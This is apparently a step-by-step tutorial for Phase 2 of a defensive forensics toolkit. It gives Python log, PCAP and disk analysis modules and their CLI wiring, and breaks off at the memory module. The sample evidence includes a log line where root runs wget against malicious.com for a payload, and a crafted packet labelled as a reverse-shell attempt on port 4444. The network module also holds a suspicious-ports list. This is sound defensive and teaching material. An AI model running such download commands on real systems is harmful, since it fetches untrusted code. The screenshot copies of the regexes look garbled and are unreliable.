

TRACEFORGE V2 — PHASE 2

Phase: 2 of 4

Goal: Build all four analysis modules — Logs, Network, Disk, Memory

Depends on: Phase 1 fully complete — all 13 tests passing, committed and pushed

Gate: Do not start Phase 3 until all four modules are functional and tests pass

What Phase 2 builds

Four analysis modules in this exact order:

1. `modules/logs.py` — Log correlation (syslog, auth.log, EVTX)
2. `modules/network.py` — PCAP analysis via Scapy
3. `modules/disk.py` — Disk image analysis via dfVFS
4. `modules/memory.py` — Memory forensics via Volatility3 Python API

Why this order: Logs has zero C dependencies and is the simplest to build and debug. Network only needs Scapy which is already installed. Disk needs dfVFS which has compile issues on some setups. Memory is the most complex and is built last when you fully understand the Artifact schema in practice.

Every module follows the same contract:

- Takes a case ID, file path, and analyst name as input
 - Hashes the evidence file via `core/hasher.py` before touching it
 - Logs the evidence to the ledger via `core/ledger.py`
 - Returns a list of `Artifact` objects using the schema from `core/artifact.py`
 - Never crashes silently — all errors are logged and raised cleanly
-

Step 2.1 — Get sample evidence files for testing

Before writing any module, get real sample files to test against. Do not skip this. Testing against real data is what separates a working module from a placeholder.

```
mkdir -p ~/traceforge/samples/{logs,network,disk,memory}
```

Sample log file — create a realistic auth.log:

```
cat > ~/traceforge/samples/logs/auth.log << 'EOF'
May  3 10:01:22 server sshd[1234]: Failed password for root
from 192.168.1.100 port 22 ssh2
May  3 10:01:25 server sshd[1234]: Failed password for root
from 192.168.1.100 port 22 ssh2
May  3 10:01:28 server sshd[1234]: Failed password for root
from 192.168.1.100 port 22 ssh2
May  3 10:01:31 server sshd[1234]: Accepted password for ad
min from 192.168.1.50 port 22 ssh2
May  3 10:02:10 server sudo: admin : TTY=pts/0 ; PWD=/home/
admin ; USER=root ; COMMAND=/bin/bash
May  3 10:03:45 server sshd[5678]: Failed password for inva
lid user oracle from 10.0.0.99 port 4444 ssh2
May  3 10:04:00 server sshd[5678]: Failed password for inva
lid user oracle from 10.0.0.99 port 4444 ssh2
May  3 10:04:15 server sshd[5678]: Failed password for inva
lid user oracle from 10.0.0.99 port 4444 ssh2
May  3 10:04:30 server sshd[5678]: Failed password for inva
lid user oracle from 10.0.0.99 port 4444 ssh2
May  3 10:04:45 server sshd[5678]: Failed password for inva
lid user oracle from 10.0.0.99 port 4444 ssh2
May  3 10:05:00 server sshd[9999]: Accepted publickey for d
eploy from 172.16.0.10 port 52341 ssh2
May  3 10:06:00 server systemd[1]: Started Apache HTTP Serv
er.
May  3 10:07:00 server sudo: root : TTY=pts/1 ; PWD=/root ;
USER=root ; COMMAND=/usr/bin/wget http://malicious.com/payl
oad
EOF
```

Sample PCAP — download a real one:

```
cd ~/traceforge/samples/network
wget -q https://github.com/thepacketgeek/scapy-pcapfile/ra
```

```
w/master/tests/test.pcap -O sample.pcap
```

If wget fails, create a minimal PCAP using Scapy:

```
source ~/traceforge/venv/bin/activate
python3 -c "
from scapy.all import *
packets = [
    IP(src='192.168.1.10', dst='8.8.8.8')/UDP()/DNS(rd=1, q
d=DNSQR(qname='google.com')),
    IP(src='192.168.1.10', dst='1.2.3.4')/TCP(dport=80)/Raw
(load='GET / HTTP/1.1\r\nHost: malicious.com\r\n\r\n'),
    IP(src='192.168.1.10', dst='10.0.0.99')/TCP(dport=444
4)/Raw(load='reverse shell attempt'),
]
wrpcap('sample.pcap', packets)
print('PCAP created')
"
```

Step 2.2 — Build the logs module

File: `traceforge/modules/logs.py`

What it does: Parses auth.log, syslog, and similar Linux log files. Extracts failed logins, successful logins, sudo commands, and suspicious activity. Groups brute force attempts (5 or more failed logins from the same IP).

```
nano ~/traceforge/traceforge/modules/logs.py
```

```
"""
TraceForge v2 – Log Correlation Module
Parses Linux auth logs, syslog, and structured log files.
Extracts authentication events, sudo usage, and suspicious
patterns.
"""

import re
from pathlib import Path
```

```

from datetime import datetime, timezone
from collections import defaultdict
from loguru import logger
from typing import Optional

from traceforge.core.artifact import Artifact
from traceforge.core.hasher import compute_sha256
from traceforge.core.ledger import init_db, log_evidence

# Regex patterns for log parsing
PATTERNS = {
    "failed_login": re.compile(
        r"(\w+\s\d+\s\d+:\d+:\d+)\s+(\S+)\s+\S+:\s+Failed password for (?:invalid user )?(\S+) from (\S+) port"
    ),
    "successful_login": re.compile(
        r"(\w+\s\d+\s\d+:\d+:\d+)\s+(\S+)\s+\S+:\s+Accepted (?:password|publickey) for (\S+) from (\S+) port"
    ),
    "sudo_command": re.compile(
        r"(\w+\s\d+\s\d+:\d+:\d+)\s+(\S+)\s+sudo:\s+(\S+)\s+:\s+.*COMMAND=(.*)"
    ),
    "service_start": re.compile(
        r"(\w+\s\d+\s\d+:\d+:\d+)\s+(\S+)\s+systemd\[ \d+ \]:\s+Started (.+)\s+"
    ),
}

BRUTE_FORCE_THRESHOLD = 5

def _parse_timestamp(raw: str) -> str:
    """Convert log timestamp to ISO 8601. Returns raw string if parsing fails."""
    try:
        current_year = datetime.now().year

```

```

        dt = datetime.strptime(f"{current_year} {raw.strip()}", "%Y %b %d %H:%M:%S")
        return dt.replace(tzinfo=timezone.utc).isoformat()
    except ValueError:
        return raw.strip()

def analyze(
    case_id: str,
    log_path: str,
    analyst: str,
    host_id: Optional[str] = None
) -> list[Artifact]:
    """
    Analyze a log file and return a list of Artifact objects.

    Args:
        case_id : The investigation case ID
        log_path : Path to the log file
        analyst : Analyst name or ID
        host_id : Optional hostname or IP of the machine
        the log came from

    Returns:
        List of Artifact objects representing forensic findings
    """
    init_db()
    path = Path(log_path)

    if not path.exists():
        raise FileNotFoundError(f"Log file not found: {log_path}")

    # Hash before analysis – chain of custody
    sha256, size = compute_sha256(path)
    log_evidence(case_id, analyst, str(path), sha256, size,

```

```

"logs")

    logger.info(f"Analyzing log file: {path.name} | Case:
{case_id}")

    artifacts = []
    failed_logins: dict[str, list] = defaultdict(list)
    host = host_id or path.stem

    with open(path, "r", errors="replace") as f:
        lines = f.readlines()

    for line in lines:
        line = line.strip()
        if not line:
            continue

        # Failed login attempts
        m = PATTERNS["failed_login"].search(line)
        if m:
            ts, hostname, user, src_ip = m.groups()
            failed_logins[src_ip].append({
                "timestamp": _parse_timestamp(ts),
                "user": user,
                "hostname": hostname,
                "raw": line
            })
            artifacts.append(Artifact(
                case_id=case_id,
                source_module="logs",
                artifact_type="failed_login",
                host_id=host,
                timestamp=_parse_timestamp(ts),
                data={
                    "user": user,
                    "src_ip": src_ip,
                    "hostname": hostname,
                    "raw_line": line

```

```

        }
    ))
    continue

# Successful logins
m = PATTERNS["successful_login"].search(line)
if m:
    ts, hostname, user, src_ip = m.groups()
    artifacts.append(Artifact(
        case_id=case_id,
        source_module="logs",
        artifact_type="successful_login",
        host_id=host,
        timestamp=_parse_timestamp(ts),
        data={
            "user": user,
            "src_ip": src_ip,
            "hostname": hostname,
            "raw_line": line
        }
    ))
    continue

# Sudo commands
m = PATTERNS["sudo_command"].search(line)
if m:
    ts, hostname, user, command = m.groups()
    artifacts.append(Artifact(
        case_id=case_id,
        source_module="logs",
        artifact_type="sudo_command",
        host_id=host,
        timestamp=_parse_timestamp(ts),
        data={
            "user": user,
            "command": command.strip(),
            "hostname": hostname,
            "raw_line": line
        }
    ))
    continue

```

```

        }
    ))
    continue

# Service events
m = PATTERNS["service_start"].search(line)
if m:
    ts, hostname, service = m.groups()
    artifacts.append(Artifact(
        case_id=case_id,
        source_module="logs",
        artifact_type="service_event",
        host_id=host,
        timestamp=_parse_timestamp(ts),
        data={
            "service": service.strip(),
            "hostname": hostname,
            "event": "started",
            "raw_line": line
        }
    ))

# Detect brute force – flag IPs with >= threshold failed logins
for src_ip, attempts in failed_logins.items():
    if len(attempts) >= BRUTE_FORCE_THRESHOLD:
        logger.warning(
            f"Brute force detected: {src_ip} – {len(attempts)} failed attempts"
        )
        artifacts.append(Artifact(
            case_id=case_id,
            source_module="logs",
            artifact_type="failed_login",
            host_id=host,
            timestamp=attempts[0]["timestamp"],
            data={
                "type": "brute_force_detected",

```



```

        "src_ip": src_ip,
        "attempt_count": len(attempts),
        "targeted_users": list({a["user"] for a
in attempts}),
        "first_attempt": attempts[0]["timestamp"],
        "last_attempt": attempts[-1]["timestamp"]
    }
))

logger.info(f"Log analysis complete: {len(artifacts)} artifacts found")
return artifacts

```

```

GNU nano 6.2 /home/theconsoler/traceforge/traceforge/modules/logs.py
"""
TraceForge v2 - Log Correlation Module
Parses Linux auth logs, syslog, and structured log files.
Extracts authentication events, sudo usage, and suspicious patterns.
"""

import re
from pathlib import Path
from datetime import datetime, timezone
from collections import defaultdict
from loguru import logger
from typing import Optional

from traceforge.core.artifact import Artifact
from traceforge.core.hasher import compute_sha256
from traceforge.core.ledger import init_db, log_evidence

# Regex patterns for log parsing
PATTERNS = {
    "failed_login": re.compile(
        r"(\w+)\s+(\d+)\s+(\d+:\d+:\d+)\s+(\S+)\s+(\S+)\s+(\S+)\s+Failed password for (?:(invalid user )?(?!\S+) from (\S+) port"
    ),
    "successful_login": re.compile(
        r"(\w+)\s+(\d+)\s+(\d+:\d+:\d+)\s+(\S+)\s+(\S+)\s+(\S+)\s+Accepted (?:(password|publickey) for (\S+) from (\S+) port"
    ),
    "sudo_command": re.compile(
        r"(\w+)\s+(\d+)\s+(\d+:\d+:\d+)\s+(\S+)\s+(\S+)\s+(\S+)\s+sudo:\s+(\S+)\s+.*COMMAND=(.*)"
    ),
    "service_start": re.compile(
        r"(\w+)\s+(\d+)\s+(\d+:\d+:\d+)\s+(\S+)\s+(\S+)\s+(\S+)\s+systemd\[([d+]:)\s+(\S+)\s+Started (.+)\s+."
    )
}

```

Step 2.3 — Wire logs module into the CLI

Open `traceforge/cli.py` and replace the logs stub with this:

```
nano ~/traceforge/traceforge/cli.py
```

Find this section:

```
@cli.command()
@click.option("--case", "case_id", required=True, help
="Case ID")
@click.option("--file", "log_file", required=True, help
="Path to log file")
def logs(case_id, log_file):
    """Run log correlation analysis. (Phase 2)"""
    console.print(f"[yellow]Logs module – coming in Phase 2
[/yellow]")
    console.print(f"  Case : {case_id}")
    console.print(f"  File : {log_file}")
```

Replace it with:

```
@cli.command()
@click.option("--case", "case_id", required=True, help
="Case ID")
@click.option("--file", "log_file", required=True, help
="Path to log file")
@click.option("--analyst", required=True, help
p="Analyst name or ID")
@click.option("--host", "host_id", default=None, help
p="Hostname or IP of log source")
def logs(case_id, log_file, analyst, host_id):
    """Run log correlation analysis."""
    from traceforge.modules.logs import analyze
    console.print(f"\n[bold cyan]Log Correlation Analysis[/
bold cyan]")
    console.print(f"  Case : {case_id} | File : {log_file}
\n")
    try:
        artifacts = analyze(case_id, log_file, analyst, hos
t_id)
        console.print(f"[bold green]{len(artifacts)} artifa
cts found[/bold green]\n")
        for a in artifacts:
```

```

        console.print(f"    [cyan]{a.artifact_type:<25}[/  
cyan] {a.summary()}")
    except Exception as e:
        console.print(f"[bold red]Error:[/bold red] {e}")

```

```

theconsoler@ubuntu: ~/traceforge/samples/network
GNU nano 6.2 /home/theconsoler/traceforge/traceforge/cli.py
@click.option("--case", "case_id", required=True, help="Case ID")
@click.option("--image", required=True, help="Path to disk image file")
def disk(case_id, image):
    """Run disk image analysis. (Phase 2)"""
    console.print(f"[yellow]Disk module - coming in Phase 2[/yellow]")
    console.print(f"Case : {case_id}")
    console.print(f"Image : {image}")

@click.command()
@click.option("--case", "case_id", required=True, help="Case ID")
@click.option("--file", "log_file", required=True, help="Path to log file")
@click.option("--analyst", required=True, help="Analyst name or ID")
@click.option("--host", "host_id", default=None, help="Hostname or IP of log source")
def logs(case_id, log_file, analyst, host_id):
    """Run log correlation analysis."""
    from traceforge.modules.logs import analyze
    console.print(f"\n[bold cyan]Log Correlation Analysis[/bold cyan]")
    console.print(f"Case : {case_id} | File : {log_file}\n")
    try:
        artifacts = analyze(case_id, log_file, analyst, host_id)
        console.print(f"[bold green]{len(artifacts)} artifacts found[/bold green]\n")
        for a in artifacts:
            console.print(f"    [cyan]{a.artifact_type:<25}[/  
cyan] {a.summary()}")
    except Exception as e:
        console.print(f"[bold red]Error:[/bold red] {e}")

@click.command()
@click.option("--case", "case_id", required=True, help="Case ID")
@click.option("--pcap", required=True, help="Path to PCAP file")
def network(case_id, pcap):
    """Run network packet analysis. (Phase 2)"""

```

Step 2.4 — Build the network module

File: `traceforge/modules/network.py`

What it does: Reads PCAP/PCAPng files using Scapy. Extracts DNS queries, HTTP requests, TCP flow reconstruction, and flags suspicious ports.

```
nano ~/traceforge/traceforge/modules/network.py
```

```

"""

TraceForge v2 – Network Packet Analysis Module
Parses PCAP and PCAPng files using Scapy.
Extracts DNS queries, HTTP requests, TCP flows, and suspicious
connections.

"""

```

```

from pathlib import Path
from datetime import datetime, timezone
from collections import defaultdict
from typing import Optional
from loguru import logger

from scapy.all import rdpcap, IP, TCP, UDP, DNS, DNSQR, DNS
RR, Raw
from scapy.layers import http

from traceforge.core.artifact import Artifact
from traceforge.core.hasher import compute_sha256
from traceforge.core.ledger import init_db, log_evidence

# Ports commonly associated with suspicious activity
SUSPICIOUS_PORTS = {
    4444, 4445, 1337, 31337, 8080, 8888,
    6666, 6667, 6668, 6669, # IRC
    9001, 9030, # Tor
    1080, # SOCKS proxy
}

def _ts_from_packet(pkt) -> str:
    """Extract ISO 8601 timestamp from a Scapy packet."""
    try:
        return datetime.fromtimestamp(float(pkt.time), tz=timezone.utc).isoformat()
    except Exception:
        return datetime.now(timezone.utc).isoformat()

def analyze(
    case_id: str,
    pcap_path: str,
    analyst: str,
    host_id: Optional[str] = None

```

```

) -> list[Artifact]:
    """
    Analyze a PCAP file and return a list of Artifact objects.

    Args:
        case_id    : The investigation case ID
        pcap_path  : Path to the PCAP or PCAPng file
        analyst    : Analyst name or ID
        host_id    : Optional identifier for the captured host

    Returns:
        List of Artifact objects
    """
    init_db()
    path = Path(pcap_path)

    if not path.exists():
        raise FileNotFoundError(f"PCAP file not found: {pcap_path}")

    # Hash before analysis – chain of custody
    sha256, size = compute_sha256(path)
    log_evidence(case_id, analyst, str(path), sha256, size,
"network")

    logger.info(f"Analyzing PCAP: {path.name} | Case: {case_id}")

    packets = rdpcap(str(path))
    logger.info(f"Loaded {len(packets)} packets")

    artifacts = []
    tcp_flows: dict[tuple, dict] = defaultdict(lambda: {"bytes": 0, "packets": 0, "start": None})
    host = host_id or "unknown"

```

```

for pkt in packets:
    if not pkt.haslayer(IP):
        continue

    src_ip = pkt[IP].src
    dst_ip = pkt[IP].dst
    ts = _ts_from_packet(pkt)

    # DNS queries
    if pkt.haslayer(DNS) and pkt.haslayer(DNSQR):
        dns = pkt[DNS]
        if dns.qr == 0: # Query
            query_name = pkt[DNSQR].qname.decode("utf-8", errors="replace").rstrip(".")
            artifacts.append(Artifact(
                case_id=case_id,
                source_module="network",
                artifact_type="dns_query",
                host_id=host or src_ip,
                timestamp=ts,
                data={
                    "query": query_name,
                    "src_ip": src_ip,
                    "dst_ip": dst_ip,
                    "query_type": "A"
                }
            ))

        elif dns.qr == 1 and dns.ancount > 0: # Response
            try:
                query_name = pkt[DNSQR].qname.decode("utf-8", errors="replace").rstrip(".")
                answer = pkt[DNSRR].rdata if pkt.haslayer(DNSRR) else "unknown"
                artifacts.append(Artifact(
                    case_id=case_id,
                    source_module="network",

```

```

        artifact_type="dns_query",
        host_id=host or src_ip,
        timestamp=ts,
        data={
            "query": query_name,
            "response": str(answer),
            "src_ip": src_ip,
            "dst_ip": dst_ip,
            "type": "response"
        }
    ))
except Exception:
    pass

# HTTP requests
if pkt.haslayer(TCP) and pkt.haslayer(Raw):
    raw = pkt[Raw].load
    try:
        decoded = raw.decode("utf-8", errors="replace")

        if decoded.startswith(("GET ", "POST ", "PUT ", "DELETE ", "HEAD ")):
            lines = decoded.split("\r\n")
            method_path = lines[0].split(" ")
            method = method_path[0] if len(method_path) > 0 else "UNKNOWN"
            uri = method_path[1] if len(method_path) > 1 else "/"

            host_header = next(
                (l.split(": ", 1)[1] for l in lines
                 if l.lower().startswith("host:")),
                dst_ip
            )
            artifacts.append(Artifact(
                case_id=case_id,
                source_module="network",
                artifact_type="http_request",
                host_id=host or src_ip,

```

```

        timestamp=ts,
        data={
            "method": method,
            "uri": uri,
            "host": host_header,
            "src_ip": src_ip,
            "dst_ip": dst_ip,
            "dst_port": pkt[TCP].dport
        }
    ))
except Exception:
    pass

# TCP flow tracking
if pkt.haslayer(TCP):
    sport = pkt[TCP].sport
    dport = pkt[TCP].dport
    flow_key = (src_ip, dst_ip, sport, dport)
    flow = tcp_flows[flow_key]
    flow["bytes"] += len(pkt)
    flow["packets"] += 1
    if flow["start"] is None:
        flow["start"] = ts
    flow["last"] = ts
    flow["src_ip"] = src_ip
    flow["dst_ip"] = dst_ip
    flow["sport"] = sport
    flow["dport"] = dport

# Convert TCP flows to artifacts
for flow_key, flow in tcp_flows.items():
    src_ip, dst_ip, sport, dport = flow_key
    is_suspicious = dport in SUSPICIOUS_PORTS or sport
in SUSPICIOUS_PORTS

artifacts.append(Artifact(
    case_id=case_id,
    source_module="network",

```




```

        artifact_type="suspicious_connection" if is_sus
picious else "tcp_flow",
        host_id=host or src_ip,
        timestamp=flow.get("start", ""),
        data={
            "src_ip": src_ip,
            "dst_ip": dst_ip,
            "src_port": sport,
            "dst_port": dport,
            "total_bytes": flow["bytes"],
            "total_packets": flow["packets"],
            "first_seen": flow.get("start", ""),
            "last_seen": flow.get("last", ""),
            "suspicious": is_suspicious
        }
    ))

    if is_suspicious:
        logger.warning(
            f"Suspicious connection: {src_ip}:{sport} -
> {dst_ip}:{dport}"
        )

    logger.info(f"Network analysis complete: {len(artifact
s)} artifacts found")
    return artifacts

```



```
theconsoler@ubuntu: ~/traceforge/samples/network
GNU nano 6.2 /home/theconsoler/traceforge/traceforge/modules/network.py
TraceForge v2 - Network Packet Analysis Module
Parses PCAP and PCAPng files using Scapy.
Extracts DNS queries, HTTP requests, TCP flows, and suspicious connections.

from pathlib import Path
from datetime import datetime, timezone
from collections import defaultdict
from typing import Optional
from loguru import logger

from scapy.all import rdpcap, IP, TCP, UDP, DNS, DNSQR, DNSRR, Raw
from scapy.layers import http

from traceforge.core.artifact import Artifact
from traceforge.core.hasher import compute_sha256
from traceforge.core.ledger import init_db, log_evidence

# Ports commonly associated with suspicious activity
SUSPICIOUS_PORTS = {
    4444, 4445, 1337, 31337, 8080, 8888,
    6666, 6667, 6668, 6669, # IRC
    9001, 9030, # Tor
    1080, # SOCKS proxy
}

def _ts_from_packet(pkt) -> str:
    """Extract ISO 8601 timestamp from a Scapy packet."""
```

Step 2.5 — Wire network module into the CLI

In `traceforge/cli.py`, replace the network stub:

Find:

```
@cli.command()
@click.option("--case", "case_id", required=True, help
              ="Case ID")
@click.option("--pcap", required=True, help
              ="Path to PCAP file")
def network(case_id, pcap):
    """Run network packet analysis. (Phase 2)"""
    console.print(f"[yellow]Network module – coming in Phase 2[/yellow]")
    console.print(f"Case : {case_id}")
    console.print(f"PCAP : {pcap}")
```

Replace with:

```
@cli.command()
@click.option("--case", "case_id", required=True, help
              ="Case ID")
```

```

@click.option("--pcap",      required=True,      help
="Path to PCAP file")
@click.option("--analyst", required=True,      help
="Analyst name or ID")
@click.option("--host",     "host_id", default=None, help
="Host identifier")
def network(case_id, pcap, analyst, host_id):
    """Run network packet analysis."""
    from traceforge.modules.network import analyze
    console.print(f"\n[bold cyan]Network Packet Analysis[/b
old cyan]")
    console.print(f"  Case : {case_id} | PCAP : {pcap}\n")
    try:
        artifacts = analyze(case_id, pcap, analyst, host_i
d)
        console.print(f"[bold green]{len(artifacts)} artifa
cts found[/bold green]\n")
        for a in artifacts:
            console.print(f"  [cyan]{a.artifact_type:<25}[/
cyan] {a.summary()}")
    except Exception as e:
        console.print(f"[bold red]Error:[/bold red] {e}")

```

```

theconsoler@ubuntu: ~/traceforge/samples/network
GNU nano 6.2 /home/theconsoler/traceforge/traceforge/cli.py
    console.print(f"[bold green]{len(artifacts)} artifacts found[/bold green]\n")
    for a in artifacts:
        console.print(f"    [cyan]{a.artifact_type:<25}[/cyan] {a.summary()}")
    except Exception as e:
        console.print(f"[bold red]Error:[/bold red] {e}")

@cli.command()
@click.option("--case", "case_id", required=True, help="Case ID")
@click.option("--pcap", "pcap", required=True, help="Path to PCAP file")
@click.option("--analyst", "analyst", required=True, help="Analyst name or ID")
@click.option("--host", "host_id", default=None, help="Host identifier")
def network(case_id, pcap, analyst, host_id):
    """Run network packet analysis."""
    from traceforge.modules.network import analyze
    console.print(f"\n[bold cyan]Network Packet Analysis[/bold cyan]")
    console.print(f"Case : {case_id} | PCAP : {pcap}\n")
    try:
        artifacts = analyze(case_id, pcap, analyst, host_id)
        console.print(f"[bold green]{len(artifacts)} artifacts found[/bold green]\n")
        for a in artifacts:
            console.print(f"    [cyan]{a.artifact_type:<25}[/cyan] {a.summary()}")
    except Exception as e:
        console.print(f"[bold red]Error:[/bold red] {e}")

@cli.command()
@click.option("--case", "case_id", required=True, help="Case ID")
@click.option("--format", "fmt", default="json", help="Output format")
type=click.Choice(["json", "html", "pdf"]),
help="Output format")
def report(case_id, fmt):

```

Step 2.6 — Build the disk module

File: `traceforge/modules/disk.py`

Note on dfVFS: If dfVFS failed to install in Phase 0, this module uses a graceful fallback that extracts basic file metadata using Python's standard library. The module will still function — it just won't parse raw disk images. Full dfVFS support is enabled automatically when dfVFS is installed.

```
nano ~/traceforge/traceforge/modules/disk.py
```

```

"""
TraceForge v2 – Disk Image Analysis Module
Traverses disk images using dfVFS when available.
Falls back to filesystem traversal for accessible directories.
Extracts file timelines, deleted file markers, and metadata.
"""

from pathlib import Path
from datetime import datetime, timezone

```

```

from typing import Optional
from loguru import logger

from traceforge.core.artifact import Artifact
from traceforge.core.hasher import compute_sha256
from traceforge.core.ledger import init_db, log_evidence

# Try to import dfVFS – graceful fallback if not installed
try:
    from dfvfs.lib import definitions as dfvfs_definitions
    from dfvfs.path import factory as path_spec_factory
    from dfvfs.resolver import resolver as dfvfs_resolver
    DFVFS_AVAILABLE = True
    logger.info("dfVFS available – full disk image support
enabled")
except ImportError:
    DFVFS_AVAILABLE = False
    logger.warning("dfVFS not available – using filesystem
fallback mode")

def _ts_to_iso(timestamp) -> str:
    """Convert various timestamp formats to ISO 8601."""
    try:
        if isinstance(timestamp, (int, float)):
            return datetime.fromtimestamp(timestamp, tz=tim
ezone.utc).isoformat()
        return str(timestamp)
    except Exception:
        return ""

def _analyze_with_dfvfs(
    case_id: str,
    image_path: str,
    analyst: str,
    host_id: str
) -> list[Artifact]:

```

```

"""Analyze a disk image using dfVFS."""
artifacts = []

try:
    path_spec = path_spec_factory.Factory.NewPathSpec(
        dfvfs_definitions.TYPE_INDICATOR_OS,
        location=image_path
    )
    file_entry = dfvfs_resolver.Resolver.OpenFileEntry(
        path_spec)

    if file_entry is None:
        raise ValueError(f"Could not open disk image:
{image_path}")

    def process_entry(entry, depth=0):
        if depth > 20:
            return

        try:
            stat = entry.GetStat()
            name = entry.name or "unknown"

            if stat:
                mtime = _ts_to_iso(getattr(stat, "mtim
e", None))
                atime = _ts_to_iso(getattr(stat, "atim
e", None))
                ctime = _ts_to_iso(getattr(stat, "ctim
e", None))
                size = getattr(stat, "size", 0)
                is_allocated = getattr(stat, "is_alloca
ted", True)

                artifact_type = "deleted_file" if not i
s_allocated else "file"

                artifacts.append(Artifact(

```

```

        case_id=case_id,
        source_module="disk",
        artifact_type=artifact_type,
        host_id=host_id,
        timestamp=mtime or ctime or "",
        data={
            "name": name,
            "size_bytes": size,
            "modified": mtime,
            "accessed": atime,
            "created": ctime,
            "allocated": is_allocated,
            "path": entry.path_spec.location
n if hasattr(entry.path_spec, "location") else name
        }
    ))

    for sub_entry in entry.sub_file_entries:
        process_entry(sub_entry, depth + 1)

    except Exception as e:
        logger.debug(f"Skipping entry due to error:
{e}")

    process_entry(file_entry)

    except Exception as e:
        logger.error(f"dfVFS analysis failed: {e}")
        raise

    return artifacts

def _analyze_filesystem_fallback(
    case_id: str,
    path: Path,
    analyst: str,
    host_id: str

```

```

) -> list[Artifact]:
    """
    Fallback analysis using Python's standard library.
    Works on directories and accessible filesystem paths.
    Used when dfVFS is not installed.
    """
    artifacts = []

    target = path if path.is_dir() else path.parent
    logger.info(f"Fallback mode: traversing {target}")

    for item in target.rglob("*"):
        try:
            stat = item.stat()
            artifacts.append(Artifact(
                case_id=case_id,
                source_module="disk",
                artifact_type="file" if item.is_file() else
"directory",
                host_id=host_id,
                timestamp=_ts_to_iso(stat.st_mtime),
                data={
                    "name": item.name,
                    "path": str(item),
                    "size_bytes": stat.st_size if item.is_f
ile() else 0,
                    "modified": _ts_to_iso(stat.st_mtime),
                    "accessed": _ts_to_iso(stat.st_atime),
                    "created": _ts_to_iso(stat.st_ctime),
                    "is_file": item.is_file(),
                    "suffix": item.suffix
                }
            ))
        except PermissionError:
            continue
        except Exception as e:
            logger.debug(f"Skipping {item}: {e}")
            continue

```



```

    return artifacts

def analyze(
    case_id: str,
    image_path: str,
    analyst: str,
    host_id: Optional[str] = None
) -> list[Artifact]:
    """
    Analyze a disk image or directory and return Artifact o
    bjects.

    Args:
        case_id      : The investigation case ID
        image_path   : Path to disk image (.dd, .E01) or dire
        ctory
        analyst      : Analyst name or ID
        host_id      : Optional host identifier

    Returns:
        List of Artifact objects
    """
    init_db()
    path = Path(image_path)

    if not path.exists():
        raise FileNotFoundError(f"Disk image or path not fo
        und: {image_path}")

    # Hash before analysis – chain of custody
    if path.is_file():
        sha256, size = compute_sha256(path)
    else:
        sha256, size = "directory-no-hash", 0

    log_evidence(case_id, analyst, str(path), sha256, size,

```

```

"disk")

    host = host_id or path.stem
    logger.info(f"Analyzing disk: {path.name} | Case: {case_id} | dfVFS: {DFVFS_AVAILABLE}")

    if DFVFS_AVAILABLE and path.is_file():
        artifacts = _analyze_with_dfvfs(case_id, str(path),
analyst, host)
    else:
        artifacts = _analyze_filesystem_fallback(case_id, path, analyst, host)

    logger.info(f"Disk analysis complete: {len(artifacts)} artifacts found")
    return artifacts

```

```

theconsoler@ubuntu: ~/traceforge/samples/network
GNU nano 6.2 /home/theconsoler/traceforge/traceforge/modules/disk.py
"""
TraceForge v2 - Disk Image Analysis Module
Traverses disk images using dfVFS when available.
Falls back to filesystem traversal for accessible directories.
Extracts file timelines, deleted file markers, and metadata.
"""

from pathlib import Path
from datetime import datetime, timezone
from typing import Optional
from loguru import logger

from traceforge.core.artifact import Artifact
from traceforge.core.hasher import compute_sha256
from traceforge.core.ledger import init_db, log_evidence

# Try to import dfVFS - graceful fallback if not installed
try:
    from dfvfs.lib import definitions as dfvfs_definitions
    from dfvfs.path import factory as path_spec_factory
    from dfvfs.resolver import resolver as dfvfs_resolver
    DFVFS_AVAILABLE = True
    logger.info("dfVFS available - full disk image support enabled")
except ImportError:
    DFVFS_AVAILABLE = False
    logger.warning("dfVFS not available - using filesystem fallback mode")

def ts_to_iso(timestamp) -> str:
    """Convert various timestamp formats to ISO 8601."""
    try:

```

Step 2.7 — Wire disk module into the CLI

In `traceforge/cli.py`, replace the disk stub:


Find:

```
def disk(case_id, image):
    """Run disk image analysis. (Phase 2)"""
    console.print(f"[yellow]Disk module – coming in Phase 2[/yellow]")
```

Replace with:

```
@cli.command()
@click.option("--case", "case_id", required=True, help="Case ID")
@click.option("--image", required=True, help="Path to disk image or directory")
@click.option("--analyst", required=True, help="Analyst name or ID")
@click.option("--host", "host_id", default=None, help="Host identifier")
def disk(case_id, image, analyst, host_id):
    """Run disk image analysis."""
    from traceforge.modules.disk import analyze
    console.print(f"\n[bold cyan]Disk Image Analysis[/bold cyan]")
    console.print(f"  Case : {case_id} | Image : {image}\n")
    try:
        artifacts = analyze(case_id, image, analyst, host_id)

        console.print(f"[bold green]{len(artifacts)} artifacts found[/bold green]\n")
        for a in artifacts[:20]:
            console.print(f"  [cyan]{a.artifact_type:<25}[/cyan] {a.summary()}")
        if len(artifacts) > 20:
            console.print(f"  [dim]... and {len(artifacts) - 20} more[/dim]")
    except Exception as e:
        console.print(f"[bold red]Error:[/bold red] {e}")
```



```
theconsole@ubuntu: ~/traceforge/samples/network
GNU nano 6.2 /home/theconsole/traceforge/traceforge/cli.py
"""Run memory forensics on a memory dump. (Phase 2)"""
console.print(f"[yellow]Memory module - coming in Phase 2[/yellow]")
console.print(f" Case : {case_id}")
console.print(f" Image : {image}")

@click.command()
@click.option("--case", "case_id", required=True, help="Case ID")
@click.option("--image", "image", required=True, help="Path to disk image or directory")
@click.option("--analyst", "analyst", required=True, help="Analyst name or ID")
@click.option("--host", "host_id", default=None, help="Host identifier")
def disk(case_id, image, analyst, host_id):
    """Run disk image analysis."""
    from traceforge.modules.disk import analyze
    console.print(f"\n[bold cyan]Disk Image Analysis[/bold cyan]")
    console.print(f" Case : {case_id} | Image : {image}\n")
    try:
        artifacts = analyze(case_id, image, analyst, host_id)
        console.print(f"[bold green]{len(artifacts)} artifacts found[/bold green]\n")
        for a in artifacts[:20]:
            console.print(f" [cyan]{a.artifact_type}<25[/cyan] {a.summary()}\n")
        if len(artifacts) > 20:
            console.print(f" [dim]... and {len(artifacts) - 20} more[/dim]\n")
    except Exception as e:
        console.print(f"[bold red]Error:[/bold red] {e}")

@click.command()
@click.option("--case", "case_id", required=True, help="Case ID")
@click.option("--file", "log_file", required=True, help="Path to log file")
@click.option("--analyst", "analyst", required=True, help="Analyst name or ID")
@click.option("--host", "host_id", default=None, help="Hostname or IP of log source")
```

Step 2.8 — Build the memory module

File: `traceforge/modules/memory.py`

Why this is built last: Volatility3's Python API is the most complex dependency in the stack. Building this last means you have fully working logs, network, and disk modules, a solid understanding of the Artifact schema, and confidence in the ledger — before touching the hardest module.

